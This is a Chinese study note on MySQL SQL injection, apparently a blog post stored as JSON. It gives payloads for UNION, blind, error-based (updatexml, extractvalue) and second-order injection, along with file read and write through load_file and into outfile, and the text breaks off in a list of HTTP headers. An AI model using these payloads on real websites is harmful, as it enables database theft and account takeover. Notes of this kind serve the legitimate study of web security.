{"id":9,"date":"2022-03-18T20:46:01","date_gmt":"2022-03-18T12:46:01","guid":{"rendered":"http:\/\/47.118.40.97:8082\/?p=9"},"modified":"2023-09-22T14:04:21","modified_gmt":"2023-09-22T06:04:21","slug":"9","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=9","title":{"rendered":"SQL\u6ce8\u5165"},"content":{"rendered":"<h2>SQL\u6ce8\u5165<\/h2>\n<h3>\u57fa\u7840\u77e5\u8bc6<\/h3>\n<h4>\u7cfb\u7edf\u51fd\u6570<\/h4>\n<pre><code class=\"language-sql\">system_user()\u2014\u2014\u7cfb\u7edf\u7528\u6237\u540d\n\nuser()\u2014\u2014\u7528\u6237\u540d\n\ncurrent_user()\u2014\u2014\u5f53\u524d\u7528\u6237\u540d\n\nsession_user()\u2014\u2014\u94fe\u63a5\u6570\u636e\u5e93\u7684\u7528\u6237\u540d\n\ndatabase()\u2014\u2014\u6570\u636e\u5e93\u540d\n\nversion()\u2014\u2014\u6570\u636e\u5e93\u7248\u672c\n\n@@datadir\u2014\u2014\u6570\u636e\u5e93\u8def\u5f84\n\n@@basedir\u2014\u2014\u6570\u636e\u5e93\u5b89\u88c5\u8def\u5f84\n\n@@version_conpile_os\u2014\u2014\u64cd\u4f5c\u7cfb\u7edf<\/code><\/pre>\n<h4>\u5b57\u7b26\u4e32\u8fde\u63a5\u51fd\u6570<\/h4>\n<pre><code class=\"language-sql\">concat(str1,str2,...)\u2014\u2014\u6ca1\u6709\u5206\u9694\u7b26\u5730\u8fde\u63a5\u5b57\u7b26\u4e32\n\nconcat_ws(\u5206\u9694\u7b26,str1,str2,...)\u2014\u2014\u542b\u6709\u5206\u9694\u7b26\u5730\u8fde\u63a5\u5b57\u7b26\u4e32\n\ngroup_concat(str1,str2,...)\u2014\u2014\u8fde\u63a5\u4e00\u4e2a\u7ec4\u7684\u6240\u6709\u5b57\u7b26\u4e32\uff0c\u5e76\u4ee5\u9017\u53f7\u5206\u9694\u6bcf\u4e00\u6761\u6570\u636e<\/code><\/pre>\n<h4>\u4e00\u4e9b\u8bed\u53e5<\/h4>\n<pre><code class=\"language-sql\">show databases; \u5c55\u793a\u6570\u636e\u5e93\u7cfb\u7edf\u4e2d\u5b58\u5728\u54ea\u4e9b\u6570\u636e\u5e93\nshow tables; \u5c55\u793a\u67d0\u4e2a\u6570\u636e\u5e93\u4e2d\u5b58\u5728\u54ea\u4e9b\u6570\u636e\u8868\nselect * from users; \u67e5\u8be2\u67d0\u4e2a\u6570\u636e\u8868\u5f53\u4e2d\u7684\u6240\u6709\u5185\u5bb9\ndesc users; \u663e\u793a\u67d0\u4e2a\u6570\u636e\u8868\u7684\u7ed3\u6784\nselect * from users; \u663e\u793a\u8868\u4e2d\u7684\u6240\u6709\u4fe1\u606f\nselect user_id,user,password from users where user=&#039;admin&#039; and password like &#039;5f%&#039;; \u6839\u636e\u9650\u5236\u6761\u4ef6\u67e5\u8be2\u6570\u636e\uff0c\u591a\u4e2a\u9650\u5236\u6761\u4ef6\u62fc\u63a5<\/code><\/pre>\n<h4>\u7cfb\u7edf\u6570\u636e\u5e93\uff08information_schema\uff09<\/h4>\n<pre><code class=\"language-sql\">MySQL\u7248\u672c &gt; 5.0\u4e4b\u540e\u5f15\u5165\n\u5b58\u50a8MySQL\u6570\u636e\u5e93\u7cfb\u7edf\u5f53\u4e2d\u6240\u6709\u5176\u4ed6\u6570\u636e\u5e93\u7684\u8868\u7ed3\u6784\nschemata\u8868\u2014\u2014\u5b58\u50a8\u8be5\u7528\u6237\u521b\u5efa\u7684\u6240\u6709\u6570\u636e\u5e93\u7684\u5e93\u540d\ntables\u8868\u2014\u2014\u5b58\u50a8\u8be5\u7528\u6237\u521b\u5efa\u7684\u6240\u6709\u6570\u636e\u5e93\u7684\u5e93\u540d\u548c\u8868\u540d\ncolumns\u8868\u2014\u2014\u5b58\u50a8\u8be5\u7528\u6237\u521b\u5efa\u7684\u6240\u6709\u6570\u636e\u5e93\u7684\u5e93\u540d\u3001\u8868\u540d\u548c\u5b57\u6bb5\u540d<\/code><\/pre>\n<h4>\u5e38\u7528\u51fd\u6570<\/h4>\n<pre><code class=\"language-sql\">user()\/system_user()\/current_user()\/session_user()\u2014\u2014\u8fd4\u56de\u5f53\u524d\u4f7f\u7528\u6570\u636e\u5e93\u7684\u7528\u6237\nversion()\/@@version\u2014\u2014\u8fd4\u56de\u5f53\u524d\u6570\u636e\u5e93\u7684\u7248\u672c\ndatabase()\u2014\u2014\u8fd4\u56de\u5f53\u524d\u4f7f\u7528\u7684\u6570\u636e\u5e93\n@@datadir\u2014\u2014\u8fd4\u56de\u5f53\u524d\u6570\u636e\u5e93\u6240\u5728\u4f4d\u7f6e\n@@version_compile_os\u2014\u2014\u8fd4\u56de\u5f53\u524d\u64cd\u4f5c\u7cfb\u7edf\u7248\u672c\ncount()\u2014\u2014\u7528\u4e8e\u7edf\u8ba1\u5b57\u7b26\u4e32\u91cc\u67d0\u4e2a\u5b57\u7b26\u6216\u5b50\u5b57\u7b26\u4e32\u51fa\u73b0\u7684\u6b21\u6570\nconcat()\u2014\u2014\u5c06\u591a\u4e2a\u5b57\u7b26\u8fde\u63a5\u6210\u4e00\u4e2a\u5b57\u7b26\u4e32\ngroup_concat()\u2014\u2014\u5c06\u591a\u884c\u5b57\u7b26\u4e32\u62fc\u63a5\u6210\u4e00\u884c\nlength(arg)\u2014\u2014\u8fd4\u56de\u76ee\u6807\u5b57\u7b26\u4e32\u7684\u957f\u5ea6\uff0c\u6ce8\u610f\uff1aarg\u5b57\u7b26\u4e32\nsubstr(s, start, length);substring(s, start, length)\u2014\u2014\u4ece\u5b57\u7b26\u4e32s\u7684start\u4f4d\u7f6e\u622a\u53d6\u957f\u5ea6\u4e3alength\u7684\u5b50\u5b57\u7b26\u4e32\nleft(s,n)\u2014\u2014\u8fd4\u56de\u5b57\u7b26\u4e32 s \u7684\u524d n \u4e2a\u5b57\u7b26\nright(s,n)\u2014\u2014\u8fd4\u56de\u5b57\u7b26\u4e32 s \u7684\u540e n \u4e2a\u5b57\u7b26\nascii(s);\/ord(s)\u2014\u2014\u8fd4\u56de\u5b57\u7b26\u4e32 s \u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26\u7684 ASCII \u7801\nltrim(s)\u2014\u2014\u53bb\u6389\u5b57\u7b26\u4e32s\u5f00\u59cb\u5904\u7684\u7a7a\u683c\nrtrim(s)\u2014\u2014\u53bb\u6389\u5b57\u7b26\u4e32s\u7ed3\u5c3e\u5904\u7684\u7a7a\u683c\ntrim(s)\u2014\u2014\u53bb\u6389\u5b57\u7b26\u4e32\u5f00\u59cb\u548c\u7ed3\u5c3e\u5904\u7684\u7a7a\u683c\nINSERT(s1,x,len,s2)\u2014\u2014\u5b57\u7b26\u4e32 s2 \u66ff\u6362 s1 \u7684 x \u4f4d\u7f6e\u5f00\u59cb\u957f\u5ea6\u4e3a len \u7684\u5b57\u7b26\u4e32\nregexp\/rlike \u6b63\u5219\u8868\u8fbe\u5f0f\u6ce8\u5165\nlike \u5339\u914d\u6ce8\u5165<\/code><\/pre>\n<h3>\u51e0\u79cd\u6ce8\u5165\u65b9\u5f0f<\/h3>\n<h4>\u8054\u5408\u67e5\u8be2\u6ce8\u5165<\/h4>\n<pre><code class=\"language-sql\">union \u8054\u5408\u6ce8\u5165\uff0cunion \u7684\u4f5c\u7528\u662f\u5c06\u4e24\u4e2asql \u8bed\u53e5\u8fdb\u884c\u8054\u5408\u3002\u5176\u524d\u540e\u4e24\u4e2asql\u8bed\u53e5\u7684\u5217\u6570\u8981\u76f8\u540c\nunion all\u4e0eunion\u7684\u533a\u522b\u662f\u589e\u52a0\u4e86\u53bb\u91cd\u7684\u529f\u80fd<\/code><\/pre>\n<h5>\u6ce8\u5165\u8fc7\u7a0b<\/h5>\n<pre><code class=\"language-sql\">\u901a\u8fc7order by\u63a2\u6d4b\u8868\u7684\u5217\u6570\nunion select 1,2,...\u5224\u65ad\u56de\u663e\u4f4d\uff0c\u56de\u663e\u7684\u5730\u65b9\u53ef\u4ee5\u66ff\u6362\u6210\u51fd\u6570\u8fdb\u884c\u6ce8\u5165\n\u901a\u8fc7\u5e38\u7528\u51fd\u6570\u8fdb\u884c\u6e17\u900f\u67e5\u770b\u6570\u636e\u5e93\u7684\u4fe1\u606f\n\u901a\u8fc7\u56de\u663e\u7684\u4fe1\u606f\u67e5\u8be2\u51fa\u60f3\u8981\u7684\u6570\u636e<\/code><\/pre>\n<h5>\u4e00\u822c\u8fc7\u7a0b<\/h5>\n<pre><code class=\"language-sql\">\u5199&#039;\u6216&quot;\u5224\u65ad\u662f\u5b57\u7b26\u578b\u6ce8\u5165\u8fd8\u662f\u6570\u5b57\u578b\u6ce8\u5165\u548c\u5982\u4f55\u622a\u65ad\uff0c\u82e5\u62a5\u9519\u5219\u8bc1\u660e\u4f7f\u7528\u54ea\u4e2a\u7b26\u53f7\n&#039;order by \u6570\u5b57\u2014\u2014\u5224\u65ad\u8868\u7684\u5217\u6570\nunion select 1,2,3,4...\u2014\u2014\u67e5\u770b\u56de\u663e\u4f4d\nunion select group_concat(table_name) from information_schema.tables where table_schema=database()%23\u2014\u2014\u67e5\u770b\u672c\u6570\u636e\u5e93\u7684\u8868\u540d\nunion select group_concat(column_name) from information_schema.columns where table_name=&#039;\u8868\u540d&#039;%23\u2014\u2014\u67e5\u770b\u8868\u7684\u5217\u540d\nunion select group_concat(..,..,..) from \u8868\u660e%23\u2014\u2014\u67e5\u770b\u5bf9\u5e94\u7684\u5217\u7684\u6570\u636e<\/code><\/pre>\n<h4>\u65e0\u5217\u540d\u76f2\u6ce8<\/h4>\n<h5>\u4f7f\u7528union select\u91cd\u547d\u540d\u6cd5<\/h5>\n<pre><code class=\"language-sql\">mysql&gt; select 1,2,3 union select * from users;<\/code><\/pre>\n<h5>\u6bd4\u8f83\u6cd5<\/h5>\n<pre><code class=\"language-sql\">mysql&gt; select &#039;b&#039; &lt; &#039;azzzzz&#039;;\nmysql&gt; select &#039;ab&#039; &lt; &#039;azzzzz&#039;<\/code><\/pre>\n<h4>SQL\u76f2\u6ce8<\/h4>\n<h5>\u57fa\u4e8e\u5e03\u5c14SQL\u76f2\u6ce8<\/h5>\n<pre><code class=\"language-sql\">\u5229\u7528true\u6216flase\u7684\u56de\u663e\u53ca\u9006\u884c\u5b57\u7b26\u4e32\u7684\u731c\u89e3\uff08\u5229\u7528\u5e38\u7528\u51fd\u6570\uff09<\/code><\/pre>\n<h5>\u57fa\u4e8e\u65f6\u95f4\u7684SQL\u76f2\u6ce8\u5ef6\u65f6\u6ce8\u5165\uff08\u4e00\u822c\u4e0d\u4f7f\u7528\uff09<\/h5>\n<pre><code class=\"language-sql\">If(ascii(substr(database(),1,1))&gt;115,0,sleep(5))%23\u2014\u2014if \u5224\u65ad\u8bed\u53e5\uff0c\u6761\u4ef6\u4e3a\u5047\uff0c\u6267\u884csleep\nselect sleep(find_in_set(mid(@@version, 1, 1), &#039;0,1,2,3,4,5,6,7,8,9,.&#039;));\u2014\u2014\u57280-9 \u4e4b\u95f4\u627e\u7248\u672c\u53f7\u7684\u7b2c\u4e00\u4f4d<\/code><\/pre>\n<h5>\u57fa\u4e8e\u62a5\u9519\u7684SQL\u76f2\u6ce8<\/h5>\n<pre><code class=\"language-sql\">\u62a5\u9519\u6ce8\u5165\u5728\u6ca1\u6cd5\u7528union\u8054\u5408\u67e5\u8be2\u65f6\u7528\uff0c\u4f46\u524d\u63d0\u8fd8\u662f\u4e0d\u80fd\u8fc7\u6ee4\u4e00\u4e9b\u5173\u952e\u7684\u51fd\u6570\u3002\u5229\u7528\u6570\u636e\u5e93\u7684\u67d0\u4e9b\u673a\u5236\uff0c\u4f7f\u5f97\u67e5\u8be2\u7ed3\u679c\u80fd\u591f\u51fa\u73b0\u5728\u9519\u8bef\u4fe1\u606f\u4e2d<\/code><\/pre>\n<pre><code class=\"language-sql\">floor(x)\u2014\u2014\u8fd4\u56de\u5c0f\u4e8e\u6216\u7b49\u4e8ex\u7684\u6700\u5927\u6574\u6570\nselect count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))\nrand(0)*a\u2014\u2014\u4ea7\u751f\u4e00\u4e2a0\u548cn\u4e4b\u95f4\u7684\u968f\u673a\u6570\u2014\u2014\u2014\u2014floor(rand(0)*2)\u4ea7\u751f0\u62161\n\u5f53 group by \u5bf9\u5176\u8fdb\u884c\u5206\u7ec4\u7684\u65f6\u5019\uff0c\u9996\u5148\u9047\u5230\u7b2c\u4e00\u4e2a\u503c 0 \uff0c\u53d1\u73b0 0 \u4e0d\u5b58\u5728\uff0c\u4e8e\u662f\u9700\u8981\u63d2\u5165\u5206\u7ec4\uff0c\u5c31\u5728\u8fd9\u65f6,floor(rand(0)*2)\u518d\u6b21\u88ab\u89e6\u53d1\uff0c\u751f\u6210\u7b2c\u4e8c\u4e2a\u503c 1 \uff0c\u56e0\u6b64\u6700\u7ec8\u63d2\u5165\u865a\u62df\u8868\u7684\u4e5f\u5c31\u662f\u7b2c\u4e8c\u4e2a\u503c 1 \uff1b\u7136\u540e\u9047\u5230\u7b2c\u4e09\u4e2a\u503c 1 \uff0c\u56e0\u4e3a\u5df2\u7ecf\u5b58\u5728\u5206\u7ec4 1 \u4e86\uff0c\u5c31\u76f4\u63a5\u8ba1\u6570\u52a01\uff08\u8fd9\u65f61\u7684\u8ba1\u6570\u53d8\u4e3a2\uff09;\u9047\u5230\u7b2c\u56db\u4e2a\u503c 0 \u7684\u65f6\u5019\uff0c\u53d1\u73b0 0 \u4e0d\u5b58\u5728\uff0c\u4e8e\u662f\u53c8\u9700\u8981\u63d2\u5165\u65b0\u5206\u7ec4\uff0c\u7136\u540efloor(rand(0)*2)\u53c8\u88ab\u89e6\u53d1\uff0c\u751f\u6210\u7b2c\u4e94\u4e2a\u503c 1 \uff0c\u56e0\u6b64\u8fd9\u65f6\u8fd8\u662f\u5f80\u865a\u62df\u8868\u91cc\u63d2\u5165\u5206\u7ec4 1 \uff0c\u4f46\u662f\uff0c\u5206\u7ec4 1 \u5df2\u7ecf\u5b58\u5728\u4e86\uff01\u6240\u4ee5\u62a5\u9519\uff01\nselect number,count(*) from test group by number;\ngroup by \u4e3b\u8981\u7528\u6765\u5bf9\u6570\u636e\u8fdb\u884c\u5206\u7ec4\uff08\u76f8\u540c\u7684\u5206\u4e3a\u4e00\u7ec4\uff09\uff0cmysql\u9047\u5230\u8be5\u8bed\u53e5\u65f6\u4f1a\u5efa\u7acb\u4e00\u4e2a\u865a\u62df\u8868\u3002\u8be5\u865a\u62df\u8868\u6709\u4e24\u4e2a\u5b57\u6bb5\uff0c\u4e00\u4e2a\u662f\u5206\u7ec4\u7684 key \uff0c\u4e00\u4e2a\u662f\u8ba1\u6570\u503c count(*)\u3002\u4e5f\u5c31\u5bf9\u5e94\u4e8e\u4e0a\u4e2a\u622a\u56fe\u4e2d\u7684 number \u548c count(*),\u7136\u540e\u5728\u67e5\u8be2\u6570\u636e\u7684\u65f6\u5019\uff0c\u9996\u5148\u67e5\u770b\u8be5\u865a\u62df\u8868\u4e2d\u662f\u5426\u5b58\u5728\u8be5\u5206\u7ec4\uff0c\u5982\u679c\u5b58\u5728\u90a3\u4e48\u8ba1\u6570\u503c\u52a01\uff0c\u4e0d\u5b58\u5728\u5219\u65b0\u5efa\u8be5\u5206\u7ec4<\/code><\/pre>\n<p>updatexml()\u51fd\u6570<\/p>\n<pre><code class=\"language-sql\">\u662f\u4e00\u4e2a\u4f7f\u7528\u4e0d\u540c\u7684xml\u6807\u8bb0\u5339\u914d\u548c\u66ff\u6362xml\u5757\u7684\u51fd\u6570\n\u4f5c\u7528\uff1a\u6539\u53d8\u6587\u6863\u4e2d\u7b26\u5408\u6761\u4ef6\u7684\u8282\u70b9\u7684\u503c\n\u8bed\u6cd5\uff1aupdatexml\uff08XML_document\uff0cXPath_string\uff0cnew_value\uff09\n    XML_document\uff1astring\u683c\u5f0f\uff0c\u4e3aXML\u6587\u6863\u5bf9\u8c61\u7684\u540d\u79f0\n    XPath_string\uff1a\u4ee3\u8868\u8def\u5f84\uff0cXPath\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\n    new_value\uff1astring\u683c\u5f0f\uff0c\u66ff\u6362\u67e5\u627e\u5230\u7684\u7b26\u5408\u6761\u4ef6\u7684\u6570\u636e\nupdatexml\u4f7f\u7528\u65f6\uff0c\u5f53xpath_string\u683c\u5f0f\u51fa\u73b0\u9519\u8bef\uff0cmysql\u5219\u4f1a\u7206\u51faxpath\u8bed\u6cd5\u9519\u8bef\uff08xpath syntax\uff09\nselect updatexml(1,concat(0x7e,(select user()),0x7e),1)\nERROR 1105 (HY000): XPATH syntax error: &#039;~root@localhost~&#039;<\/code><\/pre>\n<p>extractvalue()\u51fd\u6570<\/p>\n<pre><code class=\"language-sql\">\u4f5c\u7528\uff1a\u4ece\u76ee\u6807XML\u4e2d\u8fd4\u56de\u5305\u542b\u6240\u67e5\u8be2\u503c\u7684\u5b57\u7b26\u4e32\n\u8bed\u6cd5\uff1aextractvalue\uff08XML_document\uff0cxpath_string\uff09\n    XML_document\uff1astring\u683c\u5f0f\uff0c\u4e3aXML\u6587\u6863\u5bf9\u8c61\u7684\u540d\u79f0\n    XPath_string\uff1a\u4ee3\u8868\u8def\u5f84\uff0cXPath\u683c\u5f0f\u7684\u5b57\u7b26\u4e32\nextractvalue\u4f7f\u7528\u65f6\u5f53xpath_string\u683c\u5f0f\u51fa\u73b0\u9519\u8bef\uff0cmysql\u5219\u4f1a\u7206\u51faxpath\u8bed\u6cd5\u9519\u8bef\uff08xpath syntax\uff09\nselect extractvalue(1,concat(0x7e,(select user()),0x7e))\nERROR 1105 (HY000): XPATH syntax error: &#039;~root@localhost~&#039;<\/code><\/pre>\n<h4>\u6587\u4ef6\u64cd\u4f5c<\/h4>\n<h3>load_file()\u8bfb\u6587\u4ef6<\/h3>\n<pre><code class=\"language-sql\">Load_file(file_name):\u8bfb\u53d6\u6587\u4ef6\u5e76\u8fd4\u56de\u8be5\u6587\u4ef6\u7684\u5185\u5bb9\u4f5c\u4e3a\u4e00\u4e2a\u5b57\u7b26\u4e32<\/code><\/pre>\n<p>\u4f7f\u7528\u6761\u4ef6<\/p>\n<pre><code class=\"language-sql\">\u5fc5\u987b\u5177\u6709\u6743\u9650\u8bfb\u53d6\u4e14\u6587\u4ef6\u5fc5\u987b\u5b8c\u5168\u53ef\u8bfb\n    and (select count() from mysql.user)&gt;0 \/* \u5982\u679c\u7ed3\u679c\u8fd4\u56de\u6b63\u5e38,\u8bf4\u660e\u5177\u6709\u8bfb\u5199\u6743\u9650\u3002\n    and (select count() from mysql.user)&gt;0 \/* \u8fd4\u56de\u9519\u8bef\uff0c\u5e94\u8be5\u662f\u7ba1\u7406\u5458\u7ed9\u6570\u636e\u5e93\u5e10\u6237\u964d\u6743\n\u60f3\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u5fc5\u987b\u5728\u670d\u52a1\u5668\u4e0a\n\u5fc5\u987b\u6307\u5b9a\u6587\u4ef6\u5b8c\u6574\u7684\u8def\u5f84\n\u60f3\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u5fc5\u987b\u5c0f\u4e8emax_allowed_packet\n\u82e5\u6761\u4ef6\u6ca1\u6709\u6ee1\u8db3\u5219\u51fd\u6570\u8fd4\u56de\u7a7a<\/code><\/pre>\n<h5>outfile \/ dumpfile\u5199\u6587\u4ef6<\/h5>\n<pre><code class=\"language-sql\">select 0x313233 into outfile &#039;D:\/1.txt&#039;\nselect 0x313233 into dumpfile &#039;D:\/1.txt&#039;<\/code><\/pre>\n<h4>\u4e8c\u6b21\u578b<\/h4>\n<pre><code class=\"language-sql\">\u901a\u8fc7\u6784\u9020\u6570\u636e\u7684\u5f62\u5f0f\uff0c\u5728\u6d4f\u89c8\u5668\u6216\u8005\u5176\u4ed6\u8f6f\u4ef6\u4e2d\u63d0\u4ea4HTTP \u6570\u636e\u62a5\u6587\u8bf7\u6c42\u5230\u670d\u52a1\u7aef\u8fdb\u884c\u5904\u7406\uff0c\u63d0\u4ea4\u7684\u6570\u636e\u62a5\u6587\u8bf7\u6c42\u4e2d\u53ef\u80fd\u5305\u542b\u4e86\u6784\u9020\u7684SQL \u8bed\u53e5\u6216\u8005\u547d\u4ee4\n\u670d\u52a1\u7aef\u5e94\u7528\u7a0b\u5e8f\u4f1a\u5c06\u63d0\u4ea4\u7684\u6570\u636e\u4fe1\u606f\u8fdb\u884c\u5b58\u50a8\uff0c\u901a\u5e38\u662f\u4fdd\u5b58\u5728\u6570\u636e\u5e93\u4e2d\uff0c\u4fdd\u5b58\u7684\u6570\u636e\u4fe1\u606f\u7684\u4e3b\u8981\u4f5c\u7528\u662f\u4e3a\u5e94\u7528\u7a0b\u5e8f\u6267\u884c\u5176\u4ed6\u529f\u80fd\u63d0\u4f9b\u539f\u59cb\u8f93\u5165\u6570\u636e\u5e76\u5bf9\u5ba2\u6237\u7aef\u8bf7\u6c42\u505a\u51fa\u54cd\u5e94\n\u5411\u670d\u52a1\u7aef\u53d1\u9001\u7b2c\u4e8c\u4e2a\u4e0e\u7b2c\u4e00\u6b21\u4e0d\u76f8\u540c\u7684\u8bf7\u6c42\u6570\u636e\u4fe1\u606f\n\u670d\u52a1\u7aef\u63a5\u6536\u5230\u63d0\u4ea4\u7684\u7b2c\u4e8c\u4e2a\u8bf7\u6c42\u4fe1\u606f\u540e\uff0c\u4e3a\u4e86\u5904\u7406\u8be5\u8bf7\u6c42\uff0c\u670d\u52a1\u7aef\u4f1a\u67e5\u8be2\u6570\u636e\u5e93\u4e2d\u5df2\u7ecf\u5b58\u50a8\u7684\u6570\u636e\u4fe1\u606f\u5e76\u5904\u7406\uff0c\u4ece\u800c\u5bfc\u81f4\u5728\u7b2c\u4e00\u6b21\u8bf7\u6c42\u4e2d\u6784\u9020\u7684SQL \u8bed\u53e5\u6216\u8005\u547d\u4ee4\u5728\u670d\u52a1\u7aef\u73af\u5883\u4e2d\u6267\u884c\n\u670d\u52a1\u7aef\u8fd4\u56de\u6267\u884c\u7684\u5904\u7406\u7ed3\u679c\u6570\u636e\u4fe1\u606f\uff0c\u53ef\u4ee5\u901a\u8fc7\u8fd4\u56de\u7684\u7ed3\u679c\u6570\u636e\u4fe1\u606f\u5224\u65ad\u4e8c\u6b21\u6ce8\u5165\u6f0f\u6d1e\u5229\u7528\u662f\u5426\u6210\u529f<\/code><\/pre>\n<p>\u6b65\u9aa4<\/p>\n<pre><code class=\"language-sql\">\u5148\u6ce8\u518c\u4e00\u4e2aadmin&#039;#\u7684\u8d26\u53f7\n\u7528\u8fd9\u4e2a\u8d26\u53f7\u767b\u9646\u4fee\u6539\u5bc6\u7801\nupdate users set password = &#039;password&#039; where username = &#039;admin&#039;#&#039;\n\u5373\u53ef\u5c06admin\u7684\u5bc6\u7801\u4fee\u6539\u4e3apassword<\/code><\/pre>\n<h4>SQL\u5934\u90e8\u6ce8\u5165<\/h4>\n<h5>HTTP\u5934\u5b57\u6bb5\u89e3\u6790<\/h5>\n<pre><code class=\"language-sql\">Accept\uff1a\u544a\u8bc9WEB\u670d\u52a1\u5668\u81ea\u5df1\u63a5\u53d7\u4ec0\u4e48\u4ecb\u8d28\u7c7b\u578b\uff0c*\/* \u8868\u793a\u4efb\u4f55\u7c7b\u578b\uff0ctype\/* \u8868\u793a\u8be5\u7c7b\u578b\u4e0b\u7684\u6240\u6709\u5b50\u7c7b\u578b\uff0ctype\/sub-type\u3002\nAccept-Charset\uff1a\u6d4f\u89c8\u5668\u544a\u8bc9\u670d\u52a1\u5668\u81ea\u5df1\u80fd\u63a5\u6536\u7684\u5b57\u7b26\u96c6\nAccept-Encoding\uff1a\u6d4f\u89c8\u5668\u7533\u660e\u81ea\u5df1\u63a5\u6536\u7684\u7f16\u7801\u65b9\u6cd5\uff0c\u901a\u5e38\u6307\u5b9a\u538b\u7f29\u65b9\u6cd5\uff0c\u662f\u5426\u652f\u6301\u538b\u7f29\uff0c\u652f\u6301\u4ec0\u4e48\u538b\u7f29\u65b9\u6cd5\uff08gzip\uff0cdeflate\uff09\nAccept-Language\uff1a\u6d4f\u89c8\u5668\u7533\u660e\u81ea\u5df1\u63a5\u6536\u7684\u8bed\u8a00\u3002\u8bed\u8a00\u8ddf\u5b57\u7b26\u96c6\u7684\u533a\u522b\uff1a\u4e2d\u6587\u662f\u8bed\u8a00\uff0c\u4e2d\u6587\u6709\u591a\u79cd\u5b57\u7b26\u96c6\uff0c\u6bd4\u5982big5\uff0cgb2312\uff0cgbk\u7b49\nAuthorization\uff1a\u5f53\u5ba2\u6237\u7aef\u63a5\u6536\u5230\u6765\u81eaWEB\u670d\u52a1\u5668\u7684 WWW-Authenticate \u54cd\u5e94\u65f6\uff0c\u7528\u8be5\u5934\u90e8\u6765\u56de\u5e94\u81ea\u5df1\u7684\u8eab\u4efd\u9a8c\u8bc1\u4fe1\u606f\u7ed9WEB\u670d\u52a1\u5668\nIf-Match\uff1a\u5982\u679c\u5bf9\u8c61\u7684 ETag \u6ca1\u6709\u6539\u53d8\uff0c\u5176\u5b9e\u4e5f\u5c31\u610f\u5473\u8457\u5bf9\u8c61\u6ca1\u6709\u6539\u53d8\uff0c\u624d\u6267\u884c\u8bf7\u6c42\u7684\u52a8\u4f5c\uff0c\u83b7\u53d6\u6587\u6863\nIf-None-Match\uff1a\u5982\u679c\u5bf9\u8c61\u7684 ETag \u6539\u53d8\u4e86\uff0c\u5176\u5b9e\u4e5f\u5c31\u610f\u5473\u8457\u5bf9\u8c61\u4e5f\u6539\u53d8\u4e86\uff0c\u624d\u6267\u884c\u8bf7\u6c42\u7684\u52a8\u4f5c\uff0c\u83b7\u53d6\u6587\u6863\nIf-Modified-Since\uff1a\u5982\u679c\u8bf7\u6c42\u7684\u5bf9\u8c61\u5728\u8be5\u5934\u90e8\u6307\u5b9a\u7684\u65f6\u95f4\u4e4b\u540e\u4fee\u6539\u4e86\uff0c\u624d\u6267\u884c\u8bf7\u6c42\u7684\u52a8\u4f5c\uff08\u6bd4\u5982\u8fd4\u56de\u5bf9\u8c61\uff09\uff0c\u5426\u5219\u8fd4\u56de\u4ee3\u7801304\uff0c\u544a\u8bc9\u6d4f\u89c8\u5668\u8be5\u5bf9\u8c61\u6ca1\u6709\u4fee\u6539\u3002\u4f8b\u5982\uff1aIf-Modified-Since\uff1aThu, 10 Apr 2008 09:14:42 GMT\nIf-Unmodified-Since\uff1a\u5982\u679c\u8bf7\u6c42\u7684\u5bf9\u8c61\u5728\u8be5\u5934\u90e8\u6307\u5b9a\u7684\u65f6\u95f4\u4e4b\u540e\u6ca1\u4fee\u6539\u8fc7\uff0c\u624d\u6267\u884c\u8bf7\u6c42\u7684\u52a8\u4f5c\uff08\u6bd4\u5982\u8fd4\u56de\u5bf9\u8c61\uff09\nIf-Range\uff1a\u6d4f\u89c8\u5668\u544a\u8bc9 WEB \u670d\u52a1\u5668\uff0c\u5982\u679c\u6211\u8bf7\u6c42\u7684\u5bf9\u8c61\u6ca1\u6709\u6539\u53d8\uff0c\u5c31\u628a\u6211\u7f3a\u5c11\u7684\u90e8\u5206\u7ed9\u6211\uff0c\u5982\u679c\u5bf9\u8c61\u6539\u53d8\u4e86\uff0c\u5c31\u628a\u6574\u4e2a\u5bf9\u8c61\u7ed9\u6211\u3002\u6d4f\u89c8\u5668\u901a\u8fc7\u53d1\u9001\u8bf7\u6c42\u5bf9\u8c61\u7684ETag \u6216\u8005\u81ea\u5df1\u6240\u77e5\u9053\u7684\u6700\u540e\u4fee\u6539\u65f6\u95f4\u7ed9 WEB \u670d\u52a1\u5668\uff0c\u8ba9\u5176\u5224\u65ad\u5bf9\u8c61\u662f\u5426\u6539\u53d8\u4e86\u3002\u603b\u662f\u8ddf Range \u5934\u90e8\u4e00\u8d77\u4f7f\u7528\n1Range\uff1a\u6d4f\u89c8\u5668\uff08\u6bd4\u5982 Flashget \u591a\u7ebf\u7a0b\u4e0b\u8f7d\u65f6\uff09\u544a\u8bc9 WEB \u670d\u52a1\u5668\u81ea\u5df1\u60f3\u53d6\u5bf9\u8c61\u7684\u54ea\u90e8\u5206\u3002\u4f8b\u5982\uff1aRange: bytes=1173546\nProxy-Authenticate\uff1a\u4ee3\u7406\u670d\u52a1\u5668\u54cd\u5e94\u6d4f\u89c8\u5668\uff0c\u8981\u6c42\u5176\u63d0\u4f9b\u4ee3\u7406\u8eab\u4efd\u9a8c\u8bc1\u4fe1\u606f\u3002\nProxy-Authorization\uff1a\u6d4f\u89c8\u5668\u54cd\u5e94\u4ee3\u7406\u670d\u52a1\u5668\u7684\u8eab\u4efd\u9a8c\u8bc1\u8bf7\u6c42\uff0c\u63d0\u4f9b\u81ea\u5df1\u7684\u8eab\u4efd\u4fe1\u606f\u3002\nHost\uff1a\u5ba2\u6237\u7aef\u6307\u5b9a\u81ea\u5df1\u60f3\u8bbf\u95ee\u7684WEB\u670d\u52a1\u5668\u7684\u57df\u540d\/IP \u5730\u5740\u548c\u7aef\u53e3\u53f7\u3002\u5982Host\uff1arss.sina.com.cn\nReferer\uff1a\u6d4f\u89c8\u5668\u5411WEB 